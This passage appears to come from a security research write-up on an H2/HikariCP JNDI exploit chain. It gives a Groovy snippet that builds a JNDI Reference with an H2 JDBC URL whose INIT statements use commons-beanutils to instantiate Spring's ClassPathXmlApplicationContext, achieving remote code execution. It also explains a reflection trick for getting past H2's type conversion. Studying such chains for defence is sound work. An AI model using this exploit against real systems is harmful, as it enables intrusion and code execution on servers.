// instantiate ClassPathXmlApplicationContext
list << "SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')"
// the second parameter of INVOKE_CONSTRUCTOR requires java.lang.Object, so we use `xml_url_obj` instead of `xml_url`
list << "CALL INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)"

// use INIT property to execute multi SQL statements, and each statement must be separated by `\;`
def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"

def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("jdbcUrl", url));

return ref

The idea of ​​using ClassPathXmlApplicationContext is very common and has appeared in PostgreSQL JDBC RCE and ActiveMQ RCE.

You need to find a static method that can call the constructor, that is, instantiate ClassPathXmlApplicationContext through invokeConstructor and load XML to implement RCE.

org.apache.commons.beanutils.ConstructorUtils#invokeConstructor(java.lang.Class<T>, java.lang.Object)
public static <T> T invokeConstructor(Class<T> klass, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    Object[] args = toArray(arg);
    return invokeConstructor(klass, args);
}

There is still one point to note. As mentioned before, H2 does not support JAVA_OBJECTtype conversion between VARCHAR (CHARACTER VARYING), so directly passing the XML URL in INVOKE_CONSTRUCTORwill result in an error, because the type of the second parameter of the corresponding invokeConstructor is java.lang. Object, that is JAVA_OBJECT, and the type of H2 string is VARCHAR (CHARACTER VARYING)

The solution is to obtain an object of type java.lang.Object (actually still java.lang.String) through a series of reflection operations.

My idea here is to use the URI.create static method to return a URI object


Then by INVOKE_METHODcalling its toString method, due to the signature of the invokeMethod method, the final returned object will be considered by H2 to be of JAVA_OBJECTtype

Finally, pass this object as a parameter INVOKE_CONSTRUCTOR to successfully instantiate ClassPathXmlApplicationContext to implement RCE. The utilization process is the same as before.



Source :- https://paper.seebug.org/3125/#1